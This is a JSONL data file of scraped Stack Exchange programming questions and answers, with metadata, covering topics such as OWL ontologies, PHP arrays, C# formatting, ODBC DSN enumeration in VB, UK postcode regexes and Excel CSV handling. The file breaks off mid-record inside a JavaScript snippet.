{"id": "hf_40811efbad8a", "question": "<p>I am building an ontology-processing tool and need lots of examples of various owl ontologies, as people are building and using them in the real world.  I'm not talking  about foundational ontologies such as Cyc, I'm talking about smaller, domain-specific ones.</p>\n", "question_body": "", "answer": "There's no definitive collection afaik, but these links all have useful collections of OWL and RDFS ontologies:\nschemaweb.info\nvocab.org\nowlseek\nlinking open data constellation\nRDF schema registry\n(rather old now)\nIn addition, there are some general-purpose RDF/RDFS/OWL search engines you may find helpful:\nsindice\nswoogle\nIan", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.011760"}
{"id": "hf_831ecb74729a", "question": "<p>What happens when the Office 2003 PIA prerequisite and launch condition in a Windows installer are run against an Office 2007 system?</p>\n", "question_body": "", "answer": "I believe the 2003 PIA require Office 2003 be installed (so I'm guessing it would fail). AFAIK, the 2003 interops won't work with the 2007 applications. More information about these types of scenarios can be found\nhere\n. So even if it did install (pretty easy to test) you might not have a working application.\nAre you trying to get some 2003 Add-ins to work with Office 2007?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.035418"}
{"id": "hf_4512e2ceb12b", "question": "<p>I just want to know the best way to emulate a C# style enumeration in Ruby.</p>\n", "question_body": "", "answer": "I don't think Ruby supports true enums -- though, there are still solutions available.\nEnumerations and Ruby", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.070653"}
{"id": "hf_5575bfa31d04", "question": "<p>There are lots of tools for creating installers on Windows (InstallShield, InnoSetup, NSIS, just to name a few). All tools I've seen fall in one or both of these categories</p>\n\n<ul>\n<li>Point-and-click. Nice GUI for creating the installer, but the installer definition/project file can not be manually edited.</li>\n<li>Textfile: No (official) GUI. The installer is compiled from a definition in a text-file which is manually edited.</li>\n</ul>\n\n<p>The installers I'm building are all defined using a DSL (represented as YAML files), so using a GUI is out of the question, and creating is textfile is cumbersome although doable.</p>\n\n<p>What I really would want is a tool which exposes a (complete) API, through which I can control the creation of the installer. Are there any such tools out there?</p>\n\n<p>Edit: I'd love to hear about non-MSI based tools as well. MSI is not a requirement (rather the other way around...)</p>\n", "question_body": "", "answer": "Wix 3.0 beta\nhas .NET support included for this purpose. I don't know how well it works but it includes documentation. It's a framework of types for manipulating the installation creation process and all that goodness, so I don't think you even need to write a line of WiX XML if you don't want to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.094465"}
{"id": "hf_d6bab81926aa", "question": "<p>How do you return values or structures from a Popup window in Powerbuilder 9.0? The CloseWithReturn is only valid for Response windows and thus is not available. When I set a value to the Message.PowerObjectParm, the value becomes null when the Popup window closes. I need to use a Popup window so the user can click back to the caller window and scroll through rows. </p>\n\n<p>Program flow:\n1) Window A OpenWithParm\n2) Window B is now open\n3) User interacts with both windows\n3) User closes Window B\n4) Window B needs to pass a structure back to window A</p>\n", "question_body": "", "answer": "You won't be able to accomplish this the way you are thinking.  Since the window you are opening from the parent is not a Response window, the two aren't explicitly linked together.\nBut you could accomplish this by having a public instance variable in the parent window that is of the type of your custom structure.  Then from the child window before you close it, explicitly set the variable in the parent window via something like this:\n```\n```\nw_my_parent_window_name.istr_my_structure = lstr_my_structure\n```\n```\nThis should only be done if there will only be one instance of w_my_parent_window_name instantiated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.117828"}
{"id": "hf_48f4fb044483", "question": "<p>Consider the case of a simple news article web application that has a DB table column of \"Status\" that is accessible by a radio button set of:</p>\n\n<p>Status - [x] Publish [ ] Draft [ ] Archive</p>\n\n<p>...where \"Publish\" shows an article publicly and \"Draft\" and \"Archive\" do not.  Functionally \"Draft\" and \"Archive\" do the same thing but carry additional meta data meanings.  The two functional states of \"show\" and \"hide\" along with the meta data of \"publish\", \"draft\" and \"archive\" are intermixed in the same column of \"status\".</p>\n\n<p>Is this a good practice?  While this is a very simple case, larger cases might reveal flaws with such a practice (or not...).</p>\n", "question_body": "", "answer": "In this instance, I would say that this is the appropriate functionality.\nWe've all seen WTF's in the media where someone accidentally hit show[x]\nand draft[x] at the same time.\nThe way it is now, it is impossible to accidentally show a draft.  This is important in newspapers as reporters are notorious for stuff like:\nJohn Doe, of StackOverflow  said, \"---I can't remember what that ugly f*cker said - Check the tape and fill in later\"\nWhich probably shouldn't be printed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.178083"}
{"id": "hf_a8af7c0c41d1", "question": "<pre><code>$array = explode(&quot;.&quot;, $row[copy]);\n$a = $array.length -1;\n</code></pre>\n<p>I want to return the last element of this array but all i get from this is -1.</p>\n", "question_body": "", "answer": "I think your second line should be more like:\n```\n```\n$index = count($array) - 1;\n$a = $array[$index];\n```\n```\nIf you want an element from an array you need to use square brackets.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.202405"}
{"id": "hf_f24246d191fd", "question": "<p>I've got an issue when accessing a web site, I can access it by using the NetBIOS name, but when accessing with the FQDN i get an error. </p>\n\n<p>Any ideas on how to troubleshoot this?</p>\n\n<p>(There is no DNS configured yet, we have modified the Hosts file to enter the related names and IP.)</p>\n", "question_body": "", "answer": "Just to make sure, you have something like this\n```\n```\n192.168.100.5 othermachine othermachine.mydomain.local\n```\n```\nwith both the netbios and the FQDN in it and not just the IP and netbios name?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.287863"}
{"id": "hf_bc4b66bc3554", "question": "<p>Every time I try to create a new project or solution in visual studio (2005 and 2008), I get an error saying, \"Project Creation failed.\"  I even tried running vs in administrative mode, but I still get the same answer. Anyone have any suggestions, in short of uninstalling all of VS and reinstalling it?</p>\n", "question_body": "", "answer": "It sounds like an Add-in behaving badly.  Can you launch it in safe mode?\n```\n```\ndevenv.exe /SafeMode\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.323238"}
{"id": "hf_ce72863ee5cc", "question": "<p>Vi and Vim allow for really awesome customization, typically stored inside a <code>.vimrc</code> file. Typical features for a programmer would be syntax highlighting, smart indenting and so on.</p>\n\n<p><strong>What other tricks for productive programming have you got, hidden in your .vimrc?</strong></p>\n\n<p>I am mostly interested in refactorings, auto classes and similar productivity macros, especially for C#.</p>\n", "question_body": "", "answer": "This isn't in my .vimrc file, but yesterday I learned about the\n```\n]p\n```\ncommand. This pastes the contents of a buffer just like\n```\np\n```\ndoes, but it automatically adjusts the indent to match the line the cursor is on! This is excellent for moving code around.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.347509"}
{"id": "hf_993c9b2c87ee", "question": "<p>The following snippet of C# code:</p>\n\n<pre><code>  int i = 1;\n  string result = String.Format(\"{0},{1},{2}\", i++, i++, i++);\n  Console.WriteLine(result);\n</code></pre>\n\n<p>writes out: 1,2,3</p>\n\n<p>Before I tried this in the compiler I was expecting the assignments to take place and then the evaluations, so my expected output was: 1,1,1</p>\n\n<p>So my question is: Does this \"pattern\" (is it called a pattern?) of assign and then evaluate each parameter have a name?</p>\n\n<p>EDIT: I'm referring to the pattern of evaluating and assigning the parameters to the String.Format() function. Not the incrementing of i.</p>\n\n<p>(I may be incorrectly using the word evaluate in the question above because if the parameter was say (i + j) then we know that it would be evaluated before it was assigned. When using the word evaluate in that context I'm referring to the incrementing of i.)</p>\n", "question_body": "", "answer": "The\norder of evaluation\nof arguments is strictly left-to-right in C#.  When you evaluate the expression\n```\ni++\n```\n, what happens is the value of\n```\ni\n```\nis calculated and pushed, then the value of\n```\ni\n```\nis incremented.\nThe ++ operator on System.Int32 is effectively a function with the special name\n```\n++\n```\nand the special syntax of calling it by writing a reference to a variable and then the characters ++.\nSo in effect, what you wrote is\n```\n```\n// assume this function is defined:\nint Inc(ref int i)\n{\n  var old = i;\n  i = i + 1;\n  return old;\n}\n\n...\nint i = 1;\nstring result = String.Format(\"{0},{1},{2}\", Inc(ref i), Inc(ref i), Inc(ref i));\nConsole.WriteLine(result);\n...\n```\n```\nSince arguments are evaluated left-to-right,\n```\nInc(ref i)\n```\nis called 3 times, each time incrementing\n```\ni\n```\nafter passing the current value of\n```\ni\n```\nto\n```\nString.Format(...)\n```\n.  This is exactly what happens in your code, as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.384280"}
{"id": "hf_2faa64167d88", "question": "<p>How can I write from Java to the Windows Event Log?</p>\n", "question_body": "", "answer": "Log4J is a Java-based logging utility.  The class\n```\nNTEventLogAppender\n```\ncan be used to \"append to the NT event log system\". See the documentation here:\nhttp://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/nt/NTEventLogAppender.html\nEdit:\nThere is a newer version,\nLog4j 2\n\"that provides significant improvements over its predecessor.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.420558"}
{"id": "hf_f6f11f65a0da", "question": "<p>Currently I am hosting a Django app I developed myself for my clients, but I am now starting to look at selling it to people for them to host themselves.</p>\n\n<p>My question is this: How can I package up and sell a Django app, while protecting its code from pirating or theft? Distributing a bunch of .py files doesn't sound like a good idea as the people I sell it to too could just make copies of them and pass them on.</p>\n\n<p>I think for the purpose of this problem it would be safe to assume that everyone who buys this would be running the same (LAMP) setup.</p>\n", "question_body": "", "answer": "The way I'd go about it is this:\nEncrypt all of the code\nWrite an installer that contacts the server with the machine's hostname and license file and gets the decryption key, then decrypts the code and compiles it to python bytecode\nAdd (in the installer) a module that checks the machine's hostname and license file on import and dies if it doesn't match\nThis way the user only has to contact the server when the hostname changes and on first install, but you get a small layer of security.  You could change the hostname to something more complex, but there's really no need -- anyone that wants to pirate this will do so, but a simple mechanism like that will keep honest people honest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.456333"}
{"id": "hf_345819b99fff", "question": "<p>Is there a way to enable STRICT_ALL_TABLES for a single MySQL database?</p>\n", "question_body": "", "answer": "Don't think you can do this directly but you might get close with setting Strict for the current session when working on a particular database. Could do this in the config files of specific users.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.493720"}
{"id": "hf_9d66bde43831", "question": "<p>I've searched for the solution to change the background color on the Compact Framework's MainMenu control, and the only answer I've found is that you need to create a custom control.  Does anyone have example code for this?</p>\n", "question_body": "", "answer": "There is no way of doing this.\nYour right in that you'll probably need to create your own control.\nThis was something I was considering doing anyway to make the application go on Windows CE and Windows Mobile.\nThe problem with adding menus when the application needs to work with both is that the menu goes to the top of the screen on Windows CE and covers any controls that might be there.\nIt would be less hassle in the long run just make a new control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.517842"}
{"id": "hf_586ca7d6c883", "question": "<p>When displaying the value of a decimal currently with <code>.ToString()</code>, it's accurate to like 15 decimal places, and since I'm using it to represent dollars and cents, I only want the output to be 2 decimal places. </p>\n\n<p>Do I use a variation of <code>.ToString()</code> for this?</p>\n", "question_body": "", "answer": "```\n```\ndecimalVar.ToString(\"#.##\"); // returns \".5\" when decimalVar == 0.5m\n```\n```\nor\n```\n```\ndecimalVar.ToString(\"0.##\"); // returns \"0.5\"  when decimalVar == 0.5m\n```\n```\nor\n```\n```\ndecimalVar.ToString(\"0.00\"); // returns \"0.50\"  when decimalVar == 0.5m\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.541678"}
{"id": "hf_c11c7fba7bd2", "question": "<p>What is the best way to find out if a primary key with a certain value already exists in a table?</p>\n\n<p>I can think of:</p>\n\n<pre><code>SELECT key FROM table WHERE key = 'value';\n</code></pre>\n\n<p>and count the results, or:</p>\n\n<pre><code>SELECT SQL_CALC_FOUND_ROWS key FROM table WHERE key = 'value' LIMIT 1;\nSELECT FOUND_ROWS();\n</code></pre>\n", "question_body": "", "answer": "I think either of your suggestions in the question are suitable.\nDepending on how you are using this though, you can potentially save time by doing an INSERT IGNORE, which allows you to insert a new row if the primary key doesn't exist. If it does exist, the error is ignored so you can continue as normal.\nOther similar options depending on your usage include using the REPLACE or the INSERT ON DUPLICATE KEY UPDATE types of inserts. This allows you to update the existing entry if the primary key already exists, otherwise it just inserts your new entry.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.565313"}
{"id": "hf_d93006eae0e9", "question": "<p>I'm looking at introducing multi-lingual support to a mature CGI application written in Perl.  I had originally considered rolling my own solution using a Perl hash (stored on disk) for translation files but then I came across a CPAN module which appears to do just what I want (<a href=\"http://search.cpan.org/~audreyt/i18n-0.10/lib/i18n.pm\" rel=\"noreferrer\" title=\"i18n\">i18n</a>).  </p>\n\n<p>Does anyone have any experience with internationalization (specifically the i18n CPAN module) in Perl?  Is the i18n module the preferred method for multi-lingual support or should I reconsider a custom solution?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "There is a\nPerl Journal article\non software localisation.  It will provide you with a good idea of what you can expect when adding multi-lingual support.  It's beautifully written and humourous.\nSpecifically, the article is written by the folks who wrote and maintain\n```\nLocale::Maketext\n```\n, so I would recommend that module simply based upon the amount of pain it is clear the authors have had to endure to make it work correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.588864"}
{"id": "hf_8880cf187d88", "question": "<p>I'm trying to determine the asymptotic run-time of one of my algorithms, which uses exponents, but I'm not sure of how exponents are calculated programmatically.</p>\n\n<p>I'm specifically looking for the pow() algorithm used for double-precision, floating point numbers.</p>\n", "question_body": "", "answer": "The usual approach, to raise a to the b, for an integer exponent, goes something like this:\n```\n```\nresult = 1\nwhile b > 0\n  if b is odd\n    result *= a\n    b -= 1\n  b /= 2\n  a = a * a\n```\n```\nIt is generally logarithmic in the size of the exponent.  The algorithm is based on the invariant \"a^b*result = a0^b0\", where a0 and b0 are the initial values of a and b.\nFor negative or non-integer exponents, logarithms and approximations and numerical analysis are needed.  The running time will depend on the algorithm used and what precision the library is tuned for.\nEdit: Since there seems to be some interest, here's a version without the extra multiplication.\n```\n```\nresult = 1\nwhile b > 0\n  while b is even\n    a = a * a\n    b = b / 2\n  result = result * a\n  b = b - 1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.612133"}
{"id": "hf_6de10cf30daf", "question": "<p>I have an Excel application in which I want to present the user with a list of the Data Source Names (ie: DSN's), whereby s/he can choose what data source to use.</p>\n\n<p>Hopefully once I've got the list, I can easily access the DSN properties to connect to the appropriate database.</p>\n\n<p>Please note, I do <em>not</em> want to use a DSN-less connection.</p>\n", "question_body": "", "answer": "The DSN entries are stored in the registry in the following keys.\n```\nHKEY_CURRENT_USER\\Software\\ODBC\\ODBC.INI\\ODBC Data Sources\nHKEY_LOCAL_MACHINE\\SOFTWARE\\ODBC\\ODBC.INI\\ODBC Data Sources\n```\nThis contains the list of all defined DSN. This acts as an global index and the specific details for each DSN are stored in a key with the DSN name under:\n```\nHKEY_CURRENT_USER\\Software\\ODBC\\ODBC.INI\nHKEY_LOCAL_MACHINE\\SOFTWARE\\ODBC\\ODBC.INI\n```\nCreate some entries in both User DSN and System DSN tabs from Data Sources (ODBC) control panel applet and check how these values are stored in the registry.\nThe following example enumerate the DSN defined for the user trough Control Panel > Administrative Tools > Data Sources (ODBC) [User Dsn Tab].\nhttp://support.microsoft.com/kb/178755\n```\n```\nOption Explicit\n\n  Private Declare Function RegOpenKeyEx Lib \"advapi32.dll\" _\n      Alias \"RegOpenKeyExA\" _\n      (ByVal hKey As Long, _\n      ByVal lpSubKey As String, _\n      ByVal ulOptions As Long, _\n      ByVal samDesired As Long, phkResult As Long) As Long\n\n  Private Declare Function RegEnumValue Lib \"advapi32.dll\" _\n      Alias \"RegEnumValueA\" _\n      (ByVal hKey As Long, _\n      ByVal dwIndex As Long, _\n      ByVal lpValueName As String, _\n      lpcbValueName As Long, _\n      ByVal lpReserved As Long, _\n      lpType As Long, _\n      lpData As Any, _\n      lpcbData As Long) As Long\n\n  Private Declare Function RegCloseKey Lib \"advapi32.dll\" _\n      (ByVal hKey As Long) As Long\n\n  Const HKEY_CLASSES_ROOT = &H80000000\n  Const HKEY_CURRENT_USER = &H80000001\n  Const HKEY_LOCAL_MACHINE = &H80000002\n  Const HKEY_USERS = &H80000003\n\n  Const ERROR_SUCCESS = 0&\n\n  Const SYNCHRONIZE = &H100000\n  Const STANDARD_RIGHTS_READ = &H20000\n  Const STANDARD_RIGHTS_WRITE = &H20000\n  Const STANDARD_RIGHTS_EXECUTE = &H20000\n  Const STANDARD_RIGHTS_REQUIRED = &HF0000\n  Const STANDARD_RIGHTS_ALL = &H1F0000\n  Const KEY_QUERY_VALUE = &H1\n  Const KEY_SET_VALUE = &H2\n  Const KEY_CREATE_SUB_KEY = &H4\n  Const KEY_ENUMERATE_SUB_KEYS = &H8\n  Const KEY_NOTIFY = &H10\n  Const KEY_CREATE_LINK = &H20\n  Const KEY_READ = ((STANDARD_RIGHTS_READ Or _\n                    KEY_QUERY_VALUE Or _\n                    KEY_ENUMERATE_SUB_KEYS Or _\n                    KEY_NOTIFY) And _\n                    (Not SYNCHRONIZE))\n\n  Const REG_DWORD = 4\n  Const REG_BINARY = 3\n  Const REG_SZ = 1\n\n  Private Sub Command1_Click()\n     Dim lngKeyHandle As Long\n     Dim lngResult As Long\n     Dim lngCurIdx As Long\n     Dim strValue As String\n     Dim lngValueLen As Long\n     Dim lngData As Long\n     Dim lngDataLen As Long\n     Dim strResult As String\n\n     lngResult = RegOpenKeyEx(HKEY_CURRENT_USER, _\n             \"SOFTWARE\\ODBC\\ODBC.INI\\ODBC Data Sources\", _\n              0&, _\n              KEY_READ, _\n              lngKeyHandle)\n\n     If lngResult <> ERROR_SUCCESS Then\n         MsgBox \"Cannot open key\"\n         Exit Sub\n     End If\n\n     lngCurIdx = 0\n     Do\n        lngValueLen = 2000\n        strValue = String(lngValueLen, 0)\n        lngDataLen = 2000\n\n        lngResult = RegEnumValue(lngKeyHandle, _\n                                 lngCurIdx, _\n                                 ByVal strValue, _\n                                 lngValueLen, _\n                                 0&, _\n                                 REG_DWORD, _\n                                 ByVal lngData, _\n                                 lngDataLen)\n        lngCurIdx = lngCurIdx + 1\n\n        If lngResult = ERROR_SUCCESS Then\n           strResult = strResult & lngCurIdx & \": \" & Left(strValue, lngValueLen) & vbCrLf\n        End If\n     Loop While lngResult = ERROR_SUCCESS\n     Call RegCloseKey(lngKeyHandle)\n\n     Call MsgBox(strResult, vbInformation)\n  End Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.635641"}
{"id": "hf_9e81aa584be1", "question": "<p>I'm after a regex that will validate a full complex UK postcode only within an input string. All of the uncommon postcode forms must be covered as well as the usual. For instance:</p>\n\n<p><strong>Matches</strong></p>\n\n<ul>\n<li>CW3 9SS</li>\n<li>SE5 0EG</li>\n<li>SE50EG</li>\n<li>se5 0eg</li>\n<li>WC2H 7LT</li>\n</ul>\n\n<p><strong>No Match</strong></p>\n\n<ul>\n<li>aWC2H 7LT</li>\n<li>WC2H 7LTa</li>\n<li>WC2H</li>\n</ul>\n\n<p>How do I solve this problem?</p>\n", "question_body": "", "answer": "```\n```\n^([A-PR-UWYZ0-9][A-HK-Y0-9][AEHMNPRTVXY0-9]?[ABEHMNPRVWXY0-9]? {1,2}[0-9][ABD-HJLN-UW-Z]{2}|GIR 0AA)$\n```\n```\nRegular expression to match valid UK\n  postcodes. In the UK postal system not\n  all letters are used in all positions\n  (the same with vehicle registration\n  plates) and there are various rules to\n  govern this. This regex takes into\n  account those rules. Details of the\n  rules: First half of postcode Valid\n  formats [A-Z][A-Z][0-9][A-Z]\n  [A-Z][A-Z][0-9][0-9] [A-Z][0-9][0-9]\n  [A-Z][A-Z][0-9] [A-Z][A-Z][A-Z]\n  [A-Z][0-9][A-Z] [A-Z][0-9] Exceptions\n  Position - First. Contraint - QVX not\n  used Position - Second. Contraint -\n  IJZ not used except in GIR 0AA\n  Position - Third. Constraint -\n  AEHMNPRTVXY only used Position -\n  Forth. Contraint - ABEHMNPRVWXY Second\n  half of postcode Valid formats\n  [0-9][A-Z][A-Z] Exceptions Position -\n  Second and Third. Contraint - CIKMOV\n  not used\nhttp://regexlib.com/REDetails.aspx?regexp_id=260", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.660967"}
{"id": "hf_75250c16b137", "question": "<p>I need a simple table with a user name and password field in MySQL. Since user names must be unique, it makes sense to me to make them the primary key.</p>\n\n<p>Is it better to use <code>CHAR()</code> or <code>VARCHAR()</code> as a primary key? </p>\n", "question_body": "", "answer": "may as well just use a user ID index, it's much faster for joins vs char/varchar. the two seconds it takes to add that now could save you a lot of time later if you accidently have to expand the functionality of your schema.\nsome pitfalls to think about:\nsay we add a few tables at a future date, what if someone wants to change a username?\nsay the app is more successful then we think, and we have to look at optimization, do you really want to redo your schema at this point to reduce the overhead of a varchar'ed index?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.708978"}
{"id": "hf_2e93f9ee6514", "question": "<p>Using C# in Visual Studio 2008 and stepping through a function in the debugger I get to the end of a function and am on the final curly brace } and about to return. Is there a way to find out what value the function is about to return?</p>\n\n<p>This is necessary if the return value is calculated such as:</p>\n\n<pre><code>return (x.Func() &gt; y.Func());\n</code></pre>\n", "question_body": "", "answer": "You can put\n```\n```\n(x.Func() > y.Func())\n```\n```\nin a watch window to evaluate it, and see the result.  Unless the statement is\n```\n```\nreturn ValueChangesAfterEveryCall();\n```\n```\nyou should be fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.732887"}
{"id": "hf_3d3ab9232066", "question": "<p>I would like to upgrade my web projects on an IIS 5 server from .NET 2.0 to .NET 3.5.  These web applications live on a server with other web applications that will not be upgraded to .NET 3.5.  The server administrator is reluctant to install .NET 3.5 because he is afraid it will break the applications on that machine that are running 2.0 and 1.1.</p>\n\n<p>As far as I know this WON'T be a problem since .NET 3.5 is an addition to 2.0 more than it is a new Framework.  I would like the communities help gathering evidence to show him that their concerns are moot and it won't hurt the other applications.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "It won't have any problem and you will be able to run your 2.0 and 3.5 application using the same server. This is because the code base for both of the frameworks is the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.756642"}
{"id": "hf_9a5940d12efb", "question": "<p>Does anyone happen to know if there is a token I can add to my csv for a certain field so Excel doesn't try to convert it to a date?</p>\n\n<p>I'm trying to write a .csv file from my application and one of the values happens to look enough like a date that Excel is automatically converting it from text to a date.  I've tried putting all of my text fields (including the one that looks like a date) within double quotes, but that has no effect.</p>\n", "question_body": "", "answer": "If you put an inverted comma at the start of the field, it will be interpreted as text.\nExample:\n```\n25/12/2008\n```\nbecomes\n```\n'25/12/2008\n```\nYou are also able to select the field type when importing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.819638"}
{"id": "hf_05716bd3d80e", "question": "<p>This is an excerpt of code from a class I am working with in Java (below). Obviously the code is defining a static variable named EPSILON with the data type double. What I don't understand is the \"1E-14\" part. What kind of number is that? What does it mean?</p>\n\n<p>final double EPSILON = 1E-14;</p>\n", "question_body": "", "answer": "1E3 => 1000\n1E-1 => 0.1\n1E-2 => 0.01\nIt's a way for writing 1 * 10\n-14", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.843272"}
{"id": "hf_90328e829634", "question": "<p>Anyone knows of a good error log beautifier? (should be able to handle apache error logs). </p>\n\n<p>Should be open source / free, preferably with a web interface</p>\n", "question_body": "", "answer": "I use\nhttp://www.librelogiciel.com/software/ScanErrLog/action_Presentation\nIt runs through the error log producing a summary webpage, or some other formats.  While it's best run from a regular cron-job (and it will keep a record of what it's parsed before to save effort), it can also be run as a CGI (though the demo appears to be broken).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.879404"}
{"id": "hf_a3a6a80399a6", "question": "<p>I'm hand-maintaining an HTML document, and I'm looking for a way to automatically insert a link around text in a table. Let me illustrate:</p>\n\n<pre><code>&lt;table&gt;&lt;tr&gt;&lt;td class=\"case\"&gt;123456&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;\n</code></pre>\n\n<p>I would like to automatically make every text in a TD with class \"case\" a link to that case in our bug tracking system (which, incidentally, is FogBugz).</p>\n\n<p>So I'd like that \"123456\" to be changed to a link of this form:</p>\n\n<pre><code>&lt;a href=\"http://bugs.example.com/fogbugz/default.php?123456\"&gt;123456&lt;/a&gt;\n</code></pre>\n\n<p>Is that possible? I've played with the :before and :after pseudo-elements, but there doesn't seem to be a way to repeat the case number.</p>\n", "question_body": "", "answer": "Not in a manner that will work across browsers. You could, however, do that with some relatively trivial Javascript..\n```\n```\nfunction makeCasesClickable(){\n    var cells = document.getElementsByTagName('td')\n    for (var i = 0, cell; cell = cells[i]; i++){\n        if (cell.className != 'case') continue\n        var caseId = cell.innerHTML\n        cell.innerHTML = ''\n        var link = document.createElement('a')\n        link.href = 'http://bugs.example.com/fogbugz/default.php?' + caseId\n        